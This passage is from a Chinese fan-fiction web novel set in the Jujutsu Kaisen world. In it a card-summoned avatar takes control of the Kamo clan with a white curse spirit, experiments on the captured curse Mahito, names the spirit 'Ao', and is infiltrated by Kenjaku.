“不不不!”有人跪倒下来,他闷声磕着头:“饶了我,我不想老,不想死!求求你!” 有一人跪下就有第二人,直到后面一片乌泱泱的投降。当然,还有另外的人始终不肯屈服,他们围聚在一起,于暗中启动了什么。所以跪下来的人眼中,一片充斥了他们眼眸的血色的光,便是他们最后的印象。 “嗯?”在外界正在行事的某一人停下了脚步,他穿着一身搭配黑色直裰的袈裟,长发梳成一个丸子头,丹凤眼眯起,额上有着一道缝合的线,“我在加茂家渗透进的棋子,都死了?” 毕竟是曾经作为一代祖先掌控过的家族,往里面渗入自己的人对他来说再轻易不过了。那个家族中的保守派早已可以说是他的人了。“发生了什么?”他也一时不解,想要算一算,却发现没有任何的头绪。 “啊,”他微微笑了起来,抬起头,看了眼天上的太阳:“看来是发生什么不得了的事了呢。”他的脚步微转:“算了,我还是去查一下吧。” “可不要影响了我接下来的布局。” 第135章 高层集会 一片荒芜寂静中, 过去典雅肃穆的加茂家主宅已经彻底成为了一片废墟,脚步踩踏过不成形状的瓦砾,行过血色渗染的土地, 来到一处暴露出来的密室前。这是昨天那些隐藏之物出来的地方,里面的器皿与绘图彰显在人前。 “这是什么……”看着里面的肢体,来人问。 “咒胎九相图, 或者是比它更强大的东西。” “不是说,这些都断绝了……吗?族里也禁止了。”问起的人声音里带上了些惊恐与不解。让女子九生九堕的术式太过挑战人伦。 “总有些人渣的, ”先前的人回答他:“认为其他人的生命能换来自己的力量是他们的荣幸。也有一部分人认为树叶下总是要有根的,所以容忍他们。所以就延续了下来。” “这样吗……”问的人声音低沉了下去, 没有再说话了。不论如何,加茂家在昨天的时候已经遭受到了立族以来最大的危难, 一些东西, 之前没有揭示出来, 以后也不再有任何的意义。 腐疮挖出来会带出血肉,但如果你不愿意剔骨疗伤,那么, 将腐烂的主体直接截断, 这也未必不是一种新的斩断罪恶的方式。 “所以说, 加茂家是要从御三家中除名了吗?”纸灯笼透出昏黄的光, 将一道道的人影隐匿在帘幕后,他们的身形端坐, 声音经过了变音器处理, 任谁也瞧不出他们具体的身份。 “休得胡言!”其中一人厉声喝止道,他是中间偏左的一位, 剪影有些高大,他冷声说:“禅院家的, 不过是族里的一些内务调整,是属于加茂家的家事,和外人没什么关联,不要妄加揣测!” “那我怎么听说,”另一人倾身,他非常感兴趣道:“加茂家昨晚爆发了一场冲突,进出的结界都被锁住了,一些进去了的人就再也没有出来过呢?” “是啊是啊,”还有一人说:“为什么今天来的不是三长老?五长老你出现在我们的聚会上,还是首次呢!” “那是因为族内的事很紧急。年轻的人也该到了要他们为家族出力的时候了,”高大的身影很沉稳:“族中的老人们怜惜孩子,不忍他们继续蹉跎,所以调整了下家族的结构。不过你们不用担心,加茂家担得起御三家的架子!” “你说我们信不信,呵呵。”有人冷笑起来。 “够了。”还有人待再说,但已经坐在中间有一段时间的人等不了了,他盘腿在蒲团上,黑色的眼罩没有摘下,根根的头发竖立而起。他一身高专教师的专服,右手懒洋洋的将一边的侧脸撑起,“你们这次找我过来,就是为了讨论一下你们家族内部的事物吗?我对这些不感兴趣。” 剪影中分属五条家的就发话了:“只是对加茂家的动荡有些好奇而已。如果是能对他们造成灾难的,也未必不能对我们。了解一些,也好以作准备。” “哼,有我在,能有什么灾难!”五条悟像是在叙说一条真理。 “不错!”加茂家的五长老连忙道:“有神子大人在,这世界上有什么事物能够威胁得到我们咒术界?你是在说那些国外的超越者,还是说国内的王权者?黄金之王不也是得承认我们在咒术界的正统性,何须捕风捉影,作一些杞人忧天之事。还是说,你们只是对我们加茂家有所窥探?”说到最后一句,他的话语中已是透露出威胁。 听到这些,其他人没有再发话了。虽然很想知道加茂家的变故,但到底不想惹怒另个与自己等同的千年家族。确实如他所言,就算发生了什么,也撼动不了一个古老的御三家族,至于覆灭?哈哈,没看见加茂家的五长老今日还是出席了吗?他自己都没说什么,其他人能怎么想? 就连五条悟也没有做到,或许是他没想对他们动手。但他们也不是没有回应之力。这个时代出一个五条悟已经是极限了,能与之相媲美的人,不可能有第二个! 他们没有说。五条悟在眼罩后的眼睛倒是微微眯起,他用一根手指托起茶盏,任由茶杯在他手中掉落,再然后,就是将茶水与茶杯一起在空中来来回回拨动的游戏了。这是“无下限术式”的一种应用,这种精妙绝伦的掌控力,令隐藏在帘幕与屏风后的人一阵胆寒。 他们畏惧着这位咒术界第一人的力量,所以才布置出这样掩耳盗铃的奇特的会面仪式,甚至是他们中的每一人,都是被家族推举而出的,原因就是为了避免与五条悟有直接的接触。 他在想些什么没人知道。其他人还是说出了这一次召集而来的目的。“虎杖悠仁体内的宿傩手指最近如何了?” “没有动静。”五条悟平静说道。 “你上一次从那个普通人组织中带出来的手指也已经封印住了,”一位高层的声音通过扩音的咒具传来,其内混杂着电流等多种的杂音:“先不说那个组织已经被政府那边剿灭,你说是有人利用我们这边的力量,去将那个研究所剿除,这一点,我们没有查找出什么线索。” “宿傩手指是他们自己在一次行动中找到的,当时的手指是在沉寂中,被他们带了回去。期间有过激活,但研究的人很谨慎,没有造成太大的波动。” “还有,你说那个组织和咒术界有所勾结。我们倒是查到了点线索,指向的是一群伪装成咒术师的诅咒师,他们一方出大额的金钱,一方给他们研究咒灵化,以此来满足那个组织BOSS长生不老和死而复生的臆想。殊不知,人类染上咒力,没有成为咒术师资格的话,只会化作没有自我意志,单凭负面情绪操纵的傀儡,真是可笑又愚蠢!” “是吗,你是说和你们有没关系?”五条悟似笑非笑地看着这些御三家的代表们,之前发话的人也在他爆发出的强烈的气势下语音颤抖起来,他大声道:“事、事实就是如此,我们会对那些违背了咒术界条例的人进行最严格的处罚,咒术界和普通人是要完全分开的,牵扯进去的人绝对不能放过他们!!” 五条悟最终还是没有动手。就像他们所说的,他不知道真正参与进去的是哪家,且他实际上是真的没有证据。所以他便重新收敛了气势,懒洋洋道:“谁管你们呢,小心黄金之王再来找你们谈话,青之王最近好像也在查找这些,我才不会因为这种事,为了你们去和那老头子和小眼镜仔对上,警惕被当成个弃子丢出来哦。” 那个人长长地松了口气,手一摸,额上沁出了汗。该死,这是个什么样的怪物,为什么会在这代出生,还有着这种的力量? “接下来让我们商议宿傩手指的事吧,”沉默了一会,另外的人将话题接了过去:“近期这些封印物的活跃度有些太高了,咒术界中咒灵也出现得比往年更频繁,强度比往昔更大,我怀疑……” ………… 最后看了一眼这次聚会的隐秘和室,即将离去的加茂家的五长老想起了临行前那人对自己说过的话。 “只剩下最后的一位长老了,看来这一次只能由你去了。”他坐在空无一物的大堂之上,双眼看着自己道。 “如果不想看到加茂家覆灭,你应该知道哪些话能说,哪些话不能说。”那个年轻的、消瘦的支脉的子弟语声平静又温和,白色的奇异的咒灵就漂浮在他身后,它衣衫垂落,双腿盘坐,寂静又悠远,完全看不出之前的逞威之态,更像是一尊洁白无瑕的神灵。 他笑着说道:“毕竟你也知道,现在的加茂家,就好像是一块失却了边防的肥肉,之前拥有的太多,如今谁都能来咬上一口。你说,那些日前与你们你好我好的其它家族,见到了它此时的样子,有多少可能上来给出援助,又有多少可能,是流着鳄鱼的眼泪,上来含笑接受遗产呢?” 五长老冷汗津津,他自然知道其他两家的无耻,因为自家原先也是这样的。还有在咒术界中的敌人有多少,因为那是他们过去造下的。若是加茂家现今的状况暴露出去,等待他们的绝不是什么帮助,而是——被撕咬殆尽! 想到剩余的族人,又想到在这种情况下还能够维护住他们的人……思及至此,对着造成家族现今状况的罪魁祸首,他深深地跪伏下去:“还请您,领导加茂家吧!” “我将臣服于您,对于您的命令,将无所不从!” 看啊,就是这样,当你展现出能覆灭一切的力量后,“该考虑的就不是你,而是他们了。”他们会权衡利弊,找出一条对你好,也对他们好的道路。 你思虑的太多,只会让他们失去考虑的自由。 加茂月行笑了出来,他独自坐在位高一阶的正堂上方,就这样接收下来了剩下所有加茂家的人,而后,一跃成为了这个御三家的最高掌控者。 异空间中的艾略特收回了自己的目光,裴真也微微抬起头,但很快,他又重新低下头去做自己的事了。他来到这个世界已经过去很久了,若是连那个咒术界中的一个御三家也收服不了,他抽出那么多的卡,又是做什么用的呢? 之前的时候他还需要智慧来斡旋,但当力量足够的时候,横压直下才是他最好也最快的方式。 第136章 安定的一年 咒术师与咒灵之间是什么关系呢? 天生的敌人, 你死或者我死,绝不存在融洽相处的第三条路,就算是曾经存在过的“咒灵操术”, 也是利用术式将打败后的咒灵奴役,根本不可能有与之和解的一天。起码在所有的咒术师的心中是这么想着的。 没有人知道加茂月行与那个白色的咒灵之间的关系为何,或许是趁其不备、在它弱小时将其限制, 又或是二者之间签订了什么契约,再或者干脆是加茂月行只是它的傀儡, 来进攻加茂家是它本身的意思……但最后一个可能性很小,因为自始至终都只有加茂月行在说话, 后面他们全都败倒了,它也没有露出所谓的真面目来。 加茂宪纪匆匆从走廊中走过, 他穿着宽松的传统日式和服, 脚下的木屐踩在地板上, 发出略带急切的“哒哒”声。这里是族地中少有的保留了下来的偏房,尽管不大,但容纳下十不存三的族人们还是堪堪可行的, 当晚死去的大都是主脉与忠诚于他们的人, 一些一开始就往边处逃的, 反倒是活了下来。 加茂宪纪的身份有些特殊, 他是京都府立咒术高等专门学校三年级学生,这一次回家是为了拜见自己的父亲, 这一代的加茂家家主。他是由侧室所生, 又由于正室的孩子没有继承下来血脉术式,所以他就成了所谓的“嫡系”。 可现在, 原本这个给他带来不少尊重与认同的身份,给他带来的只有冷漠与揣测。他行过走廊, 原本还在说着话的两位族人一见到他过来,就迅速转身离开,与他当初继承了“嫡子”之位后的情况,形成了鲜明的对比。他略微晃了晃神,很快就收敛起来。 他恭候在门前,等到里面有人将之拉开,才恭恭敬敬地进去拜见,他的表现一点也不像是位被杀了父兄之人,礼仪与姿态俱全,瞧不出一点错误。 加茂月行是一位只比他大了稍许的青年,但在那日之前,从来没有人关注过他。他的血脉是最稀薄的那类,父母也早在幼时死去,那之后,族内也没进行多少关照,任由其接取除灵任务艰难生存,这样的人,通常是死在某个任务中,尸骨也无存。 原本应当如此,但奈何,这些都是裴真马甲生成后的“背景”,自他从那片泥地中站起来后,就一切翻转了。 “月行大人。”他有礼有节地跪在地上行礼,视线始终望向地面,不敢看上面那人与白色咒灵一眼。 加茂月行笑了起来,他今日换上了一件新的庄重些的服饰,一双乌黑的眼瞳宛如琉璃生辉,他的眼波是狭长淡漠的,不知是否是屠杀了一遍加茂家高层的缘故,加茂宪纪只感觉他身上有着一股这种年龄不该有的气势。他坐在正堂的上方,姿态中带着随意。屋外传来竹器与水流敲击的声音,惊起了宪纪的心。 “你是咒术高专的学生?”加茂月行悠悠问,他的右手拨弄着一颗铃铛,主体在将他生成后,将很多的东西扔进了他这个马甲中。除开【使灵鸟】以外,还有一项基础的[钨铁·技能]【百兵】护身之技,能供他使用的[钨铁·杂物]【咒具匕首】,铃铛也是送他逗趣的,但他觉得最重要的,还是接下来的[钨铁·技能]【科研达人】。想到此身的目标,他有所预感,这项技能之于他的重要性,就如同[钨铁·技能]【统帅】之于伊莎贝尔一般,是不可或缺的核心之技。 “是的。”加茂宪纪答道,他不知道这个人为何会问出这样问题,想到外界的同学们,他的心中担忧起来。 “加茂家已经与外面封锁了来往,”加茂月行轻声道:“五长老前天去过了咒术界高层的集会,他们每一个都对我们家族中的变故十分好奇……你要是出去的话,恐怕就会是第一个从这之中走出的普通族人,可现在,我觉得还不到你们与外界沟通起来的时候呢。” “咒术高专的生活不是必须,”加茂宪纪前所未有的冷静,他能感到有两道视线落在自己身上,它们一道是带着审视的笑意,是出自于人的,而另一道却是诡异冰冷,犹如在打量着食物。它们重叠在一起,落在他的皮肤上,激起了数不尽的鸡皮疙瘩。 他连忙说:“前家主送我过去,只是为了向那个五条家的神子表态,我们并非是完全排斥其他的咒术师,御三家是可以和外界有所交流的……” 不管再怎么顽固不化的家族,在那样的力量威慑下,也会学会弯腰。毕竟,生存是第一要务,他们是瞧所有人不起,但会尊重强者的意志。 “我去到咒术高专,也是为了联络人脉,加强我加茂家的影响力,”加茂宪纪从未有如此刻这般脑子转得飞快,他伏在地上说:“但加茂家才是一切!”他陡然加强语气道:“在家族存亡面前,那些东西都是虚物!如果我出去会对家族有所影响,我愿意彻底从高专退学!从此以后,再不与那些人联络!” 他不知自己说的是否有用,但在这样的情况下,不与那些人交流或许才是对他们好。他没有起身,静静地聆听着上方的判决。半晌,在他等得无比心焦的时候,才听见那人慢慢道:“退学?不,不需如此。” 他从上面走了下来,宽松的衣摆遮住了他瘦削的脚踝,白色的咒灵也动了起来,跟在他身后,他轻声说:“你好像很紧张你的同学们,是在外面收获了友情吗?” 不待他回答,加茂月行就道:“你不用担心我会对他们做些什么,你忘了么,还有那位五条家的神子在那边。” “而且,我也没有那么疯狂。”这位继五条家之后,第二位以青年人之身,掌控了又一个御三家的人宛如叹息般说道:“封锁加茂家其实也是为了你们好,虚弱的豺狼最应该惧怕的,是从前跟在身边的野狗,和一直与我们‘相伴相随’的另外的豺狼。” 不论此刻的他说的话是否有理,加茂宪纪都只会完全认可他。 “很奇妙不是吗?”他忽而笑了:“若我此刻从加茂家走出去,我就会成为全部咒术界通缉的最凶恶的恶徒,但我留了下来,我所做的一切,就成为了这个家族中的内务,他们也就没有了插手的余地。” 加茂宪纪沉默。月行安慰他:“我还有事要做,所以,放心,我没有要与整个咒术界为敌的意思。” “不过,我还以为你会进行反抗。”加茂月行饶有兴致地走近:“为此,我还特意调查了一下你的母亲,她是为了你自请离开的,是一个很爱你的女人。这种感情在这样的家族中还真是难得。” 他还特意去看了下外界那些影视中大反派们的言行,预演了下自己该如何做。 加茂宪纪感到头脑一阵晕眩,他忽然无比庆幸自己之前的选择,他连忙叩首道:“请不要伤害她,我会遵从您的任何命令。” 他此刻才发现,与自己以前以为的重要之物相比,母亲其实才是他的一切。 “你听明白了就好。”收起了自己言语中的一点盎然,加茂月行又恢复了淡然:“不用退学那么严重,休学一年吧。以后还有重新与他们相见的机会。” 他就此为加茂宪纪一段未来做下了判决,加茂宪纪没有任何反抗的意思,他低下头,接纳了下来。 加茂家并没有彻底沉寂,他们还有很多产业在外界,无数支脉的人犹如血管一般分布在咒术界,动了它,才真是让整个咒术界伤筋动骨。可没人能想到,就是这样这个根深蒂固的家族,一天内就遭遇到了前所未有的倾覆,它的“首”被换了。 有人在保持着其最基本的稳定,族地中也还有消息传出来,也有人出现过,但对里面发生了什么缄默不语,只听说是换了一位家主。一开始还好,但随着时间的推移,咒术界中开始掀起了风言风语。 “据说当初在加茂家是发生了一场叛乱,支脉中的人再也忍受不了主系的欺压,忍耐了数十年,终于在那天掀起了反叛!” “不对,我怎么听说是因为他们家的长老暗自进行了一些不为人知的禁忌研究,后来失控了,诞生出了无数的怪物,血洗了家族,他们为了不让这些怪物出去屠杀人类,才在最后险之又险地将自己的族地封印了起来。” “都不是,我有小道消息,说是因为加茂家的家主在外面有了私生子,那个女人是禅院家出来的,为了篡夺位置,她率领着暗部上加茂家讨要说法,结果双方打起来了,最后彻底失控了!” “你这才是胡说吧!” ………… 不论外界有着怎样的猜测,又有多少双眼睛始终在注视着这个异样的家族,加茂月行都始终没有任何的动作。 加茂家不愧是传承下来的千年家族,有关咒术的研究典籍浩如烟海,他甚至能从中找出些最古老版本的历史记载。有关咒力的探索更是从未停歇,他们不如五条家有着“六眼”的血统,也不如禅院家有着“十影”的传承,但他们能成为与之并齐的第三家族,自然是有着自己优势的。 他如饥似渴地在这其中补充着自己对于咒术界空缺的认知。 第137章 新的名字 加茂月行度过了一个无比繁忙又悠闲的一年。每日清晨醒来, 他都会赤着足,在书房中翻阅着自己从文库中找来的书籍,会有人时刻注意着补充他身边的茶水与小食, 等到了时间点,也会有人特意将餐食送过来,其内都是精心调配好的他喜爱的菜式, 还会有人在天黑前,轻柔地提醒他到了入睡的时辰了。 当然, 听与不听,那就是他的事了。 至于说月行将加茂家限定在族地内一年的时间, 一方面固然有他说过的现在的加茂家需要重新发展的因由,另一方面也是他需要一段时间, 来对这个古老的咒术界进行进一步的解析与深究。 有意思的是, 这几个综合的世界中, 除开柯学界,K与文野异能界中的超凡能力,其实都是天然觉醒, 一开始就固定好上限的, 或许有起伏, 但那是属于个体上的变化差异。 咒术界虽是血脉占据了大位, 但还是有一条较为清晰的变强之路的。 等到一部分看完了,他就会又去家族的书库中找出另一些来。在有所收获之后, 他就会去到家族首先建成的地下密地中去。在那里, 一些新近购来的研究器具正在不停地运作着,一些被选取出来的加茂家的人会在他到来时恭敬行礼, 再然后,呈上这段时间中的成果。 一个巨大的培养密罐坐落其间, 一个熟悉的身影被束缚其中,密密麻麻的咒文布满了罐面与其身上,再有顶级的黑缎的咒具锁住他的四肢与躯体,浑身的衣物被剥离,整个人毫无尊严地呈现其中,看其形貌,正是之前在祠堂之外,被他俘虏带回的真人。 他紧闭着眼睛,像是被这不间断的实验折磨得昏睡了过去,但加茂月行仍不放心,几条隐晦的锁链从后方的虚空中伸出,紧紧地锁住他的咽喉与后心。 负责这处研究的加茂族人满脸兴奋地走了过来,他看着加茂月行,就像是在看一位难逢的明主。一开始的时候,他还是有些排斥的,禁忌的人体实验实在不是他能接受得了的,但自从知道这个被家主带回来的“人”是特级咒灵后,他就根本抑止不住疯狂涌上来的研究欲望。 去找妇女和胎儿的麻烦算什么,特级的咒灵才是真正最靠近本源的研究素体,更不要说这尤为特殊的一个了,他甚至还能自体分裂出另一个自己,这不就是源源不断的新鲜素材吗?根本不需要担忧失败,因为他们的“资源”实在太丰富了! “月行大人,这些都是这段时间内记录下来的数据,其中因为涉及到了他有关灵魂的能力,所以……”领头的人有些惭愧地低下头,家主耗费了大量的时间,将这里研究的主体建成,剩下留给他们的,只是一些边角上数据的观测与记录,就这样,他们还时时出现问题,真是……无能! 加茂月行接过资料,翻看了几页。因为预感到自己接下来要做的事很可能要倚仗那项能力,所以一年前的他在稍作思考后,将那张唯一的[白银·升阶卡]用在了【科研达人】上,由此,其蜕变成为了—— [白银·技能]【科研狂人·禁忌追寻者】 “伦理是人类为自己套上的枷锁,道德是人类架构出来的囚笼。那些都是另类的欺骗,将人类锁在下一层的文明中,无限桎梏轮回。” “我不过是揭示了宇宙的真理,你们却对那群残渣痛哭流涕。看啊,那宇宙中的群星,是我在晋级伟大途中见到的辉光,它们早已步入了冰冷的宇宙,冷眼看你等血肉的囚徒。” 卡面上是一位张开了双手的人的剪影,他穿着一身研究的长袍,模糊的面上满是溢出的狂热,他注视着天上永恒壮美的线条,下方是痛苦哀嚎的扭曲生灵。 裴真注视着他,恍惚之间,他像是看到了他偏过了头来:无声在说:“我的双眼永远真诚,为的是造物之主在这世间留下的一道道方程式。” “当我能执笔写下新的构图时,我将篡夺其无上的权柄,成为众生……新的神!” 当裴真看完了升级的卡牌后,不禁有些惋惜,这张卡为何不是[身份]或[时装]中的一种,这样的话,他就会有一个新的马甲了。但[技能]也算不错,为之前的那个想法增添上一份厚重的砝码,他对自己计划的成功更有信心了。 想到这里,他便将这张卡重新投入到加茂月行的体内。再之后,便是在这间加茂家中新建成研究室中的漫长钻研了。 似乎是察觉到了他的到来,罐子里的人艰难地睁开了一只眼睛,在其“呜呜呜”了几声后,月行极为好心地松动了封在他嘴上的黑缎。真人肿着眼,看着加茂月行与那道白色的身影出现在眼前,他不禁笑了起来,撕心裂肺地笑着,像是能将自己的心肺笑出:“你将我带到这里,就是为了这些?” 他猛地往前一动,皮肤下有轮廓隐隐涌动,似是有肢体即将探出。但黑色的绸带咒具立即绷紧,将他的身躯锁死,一系列钉在他脊椎处的针形咒具也瞬间相互勾连起来,让其无法再动。咒力被强制截断,就犹如断流的河海,极端的不适应让他忍不住痛苦地咳嗽起来。 “你想从我这里得到什么?咒灵的构造与形成的原因,后者你们人类不是早就研究出来了吗,我们本身就是来源于你们,那些肮脏的、不尽的负面的情绪,而前者,”他倏然转开视线,眼珠在眼眶中飞速转动,下一瞬,密密麻麻的更小的眼睛就在他的两颗眼珠中生成,它们堆积在一起,像是蝇类的复眼,满怀诡谲的恶意,他望向它:“为何不用你身边的这个咒灵来研究呢?” 白衣的咒灵安静地跟在加茂月行身侧。在不需要战斗的时候,它能够以一种与人类等同大小的姿态出现,还不如说这才是它的常态,放大形体,是为了战斗,也是为了威慑。 它浑身洁白,面上除了嘴唇以外再无其它五官,但这样的它,没有人能在瞧见第一眼的时候放松下来。纯洁与污秽无比完美地在它身上结合成一体,它是神异,人在其面前,是下一等的存在,这是在它诞生之初便已决定好的。 “你想从我这里得到一个名字?”在来到加茂家后不久,某一日的午后,加茂月行刚刚翻阅完一本记载了平安京时代咒术界变化的书籍,远在米花市的侦探社中,裴真就收到了这样的一则传讯。 是那个一直安然端坐在一旁的咒灵。 它双腿盘坐在一起,双手置于膝上,头微微低着,带着一种不该出现在其身上的虔然。它安静地好像不存在。进来送茶水的侍女一直躬着身,不慎窥见了它一眼,整个身躯都不可自制地颤抖起来,她飞快地将盘子放下,极度慌张地退走了。 “也是,”裴真在给“宝石”喂完了今日份的猫粮后,蹲在地上思索:“就算很少,你也是我的一部分。又没有[身份卡],确实是需要一个名字。” 裴真陷入了少有的苦恼。他一直都认为自己不善于取名,所以庆幸在[身份卡]生成的时候,金手指就已经为他们一一取好了名字,这种便利让他避开了这一纠结的环节,上一次被他取名的还是身边这只捡来的小猫。 “宝石”其实也不算一个多动听的名字,只是将那时他愿意好好将之教养的心情表达出来罢了。而这一次,他想到了咒灵浑身上下的洁白,开口道:“就叫‘苍’好了。” 不是不知道五条悟的术式中有一招叫“苍”,但无所谓,他不需避讳这一点。“苍”,也只是取自“苍白”之意。如果纯白,就一直这样洁白下去吧! 想到这里,裴真摸了摸小猫的头:“不用急,还有其它口味的。一直以来的工作也是辛苦了。” “宝石”软绵绵地叫了几声,停下进食,走到他身边蹭了蹭。 被取名为“苍”的咒灵并没有什么异议,它依旧安静地端坐在那里,似是极细微地歪了下头,一直带着笑的唇边弧度恍如加深了稍许,它平静又从容地传达过去消息道:“是了,从今以后,我就叫‘苍’了。” 加茂月行翻过了一页书,瞥了眼这位一直跟在他身侧的“同伴”,面上同样蕴出一抹笑意。 第138章 潜入者 名为“苍”的咒灵就这样安静地跟随在加茂月行的身边, 它仿佛一直是这样温顺的,自那被千人敬拜的神龛上走下后,人们只能看见它始终带着笑意的唇, 还有它在战斗之时,翩翩无上的身姿。 在它收取寿数的时候,多么像一个无情的神啊, 尤其是加茂家的人终是拜倒在它身前时,那种邪异的神圣一瞬到达了顶峰, 那刻的宿命之感,简直能绘入到宗教的墙画中, 让后来者见到这一历史的转变。 真人尤为愤怒的就是这一点,他用自己的独眼狠狠地盯着它:“你为何不将你身边的这个咒灵带到实验室中来呢?它能打败我, 身上一定有更多的秘密吧?” “你为什么不说话!”他见到“苍”仍未有异动, 不由更为恼恨起来, 他疯狂地挣扎着,在黑缎的咒具中如同蛆一般扭动,他的身躯一会儿膨胀如球, 一会儿歪七竖八, 每一次都能挑战人类认知的极限, 他竭力大喊:“我知道你是有智慧的!特级的咒灵是有可能诞生智慧的!打败了我的你, 一定是有着自己灵智的!” “你这叛徒!叛徒!为何要听从人类咒术师的命令?”他无法理解:“咒灵与咒术师是天然的敌人,这是写在咒术界底层规则上的。你以为你帮了他人类就会接受你吗?别开玩笑了!他们永远不会对你放下戒备的!” 研究室中的其他人惊恐万分地听着, 他们不敢抬头去看新家主和他身边那个邪怪的反应。不是没有人质疑家主本身的实力, 还有他利用咒灵之力可能导致的后果,但这一切, 都在自身与家族的存亡前后退,就像五长老在一次的召集会议上所说:“加茂家, 绝不能断绝在这一代!” 他的面孔完全被阴暗所笼罩:“哪怕是与咒灵同行。” 加茂月行就这样听着真人的叫嚣,他一次也没有转过头去看苍的反应,就像他一点也不担忧它的反叛一般。这种相互和谐又信任的关系让所有人疑惑,不仅是真人,他们也不能理解:“月行大人到底是如何做到的,让它如此听话,就像是收了位侍从一般,他们之间的实力并不相等啊。” “这就是你想说的话?”他静静地问。 “真是令人失望,”他轻声说:“我还以为你能说出些什么更具有哲理的话,比如对我们进行这种实验的嘲讽,还有对人类道德的质疑与挑衅,又或是你的存在本身就是人类阴暗面的显现,只要人类还存在一日,咒灵就是永远除之不去的这类的话,结果,你就只是对我们之间的关系进行挑拨。”他不掩自己的失望:“这便是‘人类对自身的憎恶’么?就只有这种程度吗?” 研究室的领头者额上都冒出了汗,他恍惚地听着想着,一时竟不知这两位中,到底谁才是更“恶”的一方。 “你应当知道,论及对同族的恶意,人类本身才是最深沉的,哪怕是你这从中诞生出的咒灵,”他唇边兴起一抹笑:“也无法超越。” 真人要气疯了,任谁被质疑了自身存在的意义,也不会有一丝冷静,他狂躁地在其中犹如肉球般膨胀增生,黑缎咒具紧紧勒在这一团爆炸开的肉团上,脊背处的针型咒具被延展到极限,玻璃罐上无数的咒文齐齐发出明亮的光,与他身躯上那些扭曲的咒文呼应着,死死地将之限制在这一维生皿中。 “差一点,就差一点了!”真人在内心不断呼喊:“只要突破了这一限制,我就能从封印中逃出去,等我出去之后,我一定要将这个家伙碎尸万段,我要将他的灵魂捏成狗,让他去吃这世界最肮脏的食物,永远低人一等……” “不过,”他看了眼苍:“我首先要做的是逃出去,对,我现在的状态不好,没办法对付这个背叛者,但只要出去了,让漏瑚他们去拖住它,再然后,我就可以随意摆弄这家伙。从那些研究的人口中我知道了,加茂家现在也正处在一个特殊的时刻,他们是绝对抵挡不了我们一起进攻的……” “不,怎么回事,为什么始终就差这一点?到底还有什么,还有什么限制在我身上?”可怖的肉|体艰难地想转身,他想要看一看自己身上还有什么布置,可他怎么也瞧不见最后的锁链。 看着真人的变化,加茂月行的眼中生出了盎然之意。他对着身后惊恐莫名的研究员们吩咐了几句,其中的领头者们不敢怠慢,他们纷纷行动起来,一时之间,真人的变化竟无人关注了。他们操纵起仪器,加茂月行换上了研究的服饰,手上也带上了白色的手套, 在原剧情中,“死灭回游”是羂索在吸收了真人后,利用他的术式,再根据自己的理解,构建出的笼罩了整个日本的咒术结界。月行并不想吸收掉这个恶心人的咒灵,但他也不是无法从中得到那些有趣的知识,咒术有咒术的办法,他也有自己的办法。 在加茂月行身具的卡牌中,那一张[白银·技能]【科研狂人·禁忌追寻者】发出了熠熠的光辉。 真人陷入更痛苦地惨叫,眼睁睁地看着自己再度被大卸成几块,他痛苦大吼:“我一定会报复回来的……”他的意志堕入了混乱的深渊。 加茂家的族地中,一平平无奇的幸存下来的族人忽然抬头,他额前的发丝垂落而下,一双眼中平淡无神,见没有发现什么异样,他又重新将头低了回去。 “哟,隼人,”有人同他打招呼:“今日的任务完成了,这是要回去休息了?” “隼人”点了点头,他的面上自然地浮出了笑,他摸了摸头:“是啊,今天刚刚领来物资,准备回去犒劳自己一下,做一顿大餐。” “真是羡慕你,有这样好的厨艺,”同他说话的是居住在附近的族人,他叹了口气道:“自从不能出去后,我们就只能在族中的食堂中吃同样的饭……” 现在还好,以前的他们还要苦哈哈地去帮助重建族地。身为咒术师家族成员的他们,何曾想过自己还有那样一天? 他身边的同伴突然一个肘击,将他剩下的话堵住了,他也意识到了自己的失误,连忙话语一转道:“不过大家也都是这样过来的。其实我倒是觉得现在比以前要好,最起码支脉的人不用再一次一次地去领那些危险的任务,一不小心就死在了旮旯里,连奖金也被某些人撸走……” “隼人”没有再去听这些无用的话了。一年前加茂家外面升起的是最顶级的封锁术式,是这个家族从前在最危难时才使用过的底蕴,它几乎能隔绝掉所有的人。但,总有办法能悄悄潜入,尤其是他们还会放人出来。 禅院家和五条家之所以没有立即行动,还是顾忌了加茂家从前的名声。最起码出来的人只说是发生了一些变故,没有要向外界求救的意思。可这样的事拖不得,“隼人”相信,这两个家族接下来也忍不住了。 他就不同了,这个家族的保守派一直都是被攒在他手中的,利用加茂家在咒术界中的地位,他不知道做了多少自己不便的事。邪恶的“咒胎九相图”虽是被他遗弃的过去的仪式,但交于他们,也算是自己对这个家族的某种“回馈”。他是最清楚里面有可能发生的动荡的。 在进入那个结界之后,他立刻就为自己寻得了一个身份。让他惊奇的是,加茂家现今已经不是加茂家了,那一次的“咒灵入侵”事件,让这个家族的高层没留下多少,其余的中干也被横扫了一遍,现在掌控这个家族的,是一个从前从未听过名字的支脉之人。也是他,将那个奇异的咒灵带入,给予这个家族千年未有之劫难的。 是特级的咒灵吗?他不明白,过去的两面宿傩都没有给这个家族造成这样的损伤,它却做到了,再之后,甚至能让那些幸存者们咬牙将之接纳了下来。它所代表的诅咒,又是来源于什么? 为什么忽然一切就乱了?真人也是在一年前失去了踪迹,他蓄谋了那么久,这个“人类憎恶”生成的咒灵也是他计划中十分重要的一点,但他就是突然消失了。漏瑚他们一直在找他,就连咒术高专也曾冒险进去查找过,都没能找到。 咒术界中有什么事情正在发生了,但他却是一无所知。这种感觉已经太久太久没有出现过了,让他陌生中感到了一丝新奇。千年的不断更换肉|体已经让他将自己置于人类这一物种之上了,就现在的他看来,人类是行走在路上的一具具躯壳,尤其是那些毫无咒力的人,就更是无有存在的意义。 他终将会改换整个旧世界,然后,成为新世界的王! 那么现在,“隼人”体内的羂索轻轻一笑,就让我来看看,那对将加茂家变成现今这幅模样的人与咒灵,到底是有着什么秘密吧! 他身躯一晃,潜入到黑暗中,就这样一路没有惊动任何人地向着某处而去。 而与此同时,在实验室中一直静静候在一边的苍却是微微一动,它的脸部稍稍侧了侧,一直在关注着它的研究员连忙道:“怎么了,大人?” 苍没有回应,它又重新回转了过去。只是唇边的笑容拉大了稍许。 第139章 剪断丝线 加茂月行不是不知道封锁一年给加茂家带去的损伤, 纵有养护之意,但到底损失更大,尤其是在他还有余力的情况下。这一切的原因只是因为, 他并不在意这个家族。 无论是出自他的记忆,还是他的真实本体,都对这个腐朽的家族毫无期待。 现在留下来, 不过是为了其中的典籍,且他还需要一个可供研究的场所, 其势力也能为他接下来的计划提供稍许帮助。而这些的前提都是,加茂家完全为他所用, 于是从一开始,他便决定了它的命运。 苍的能力对于毫无准备的人类来说是一场灾劫, 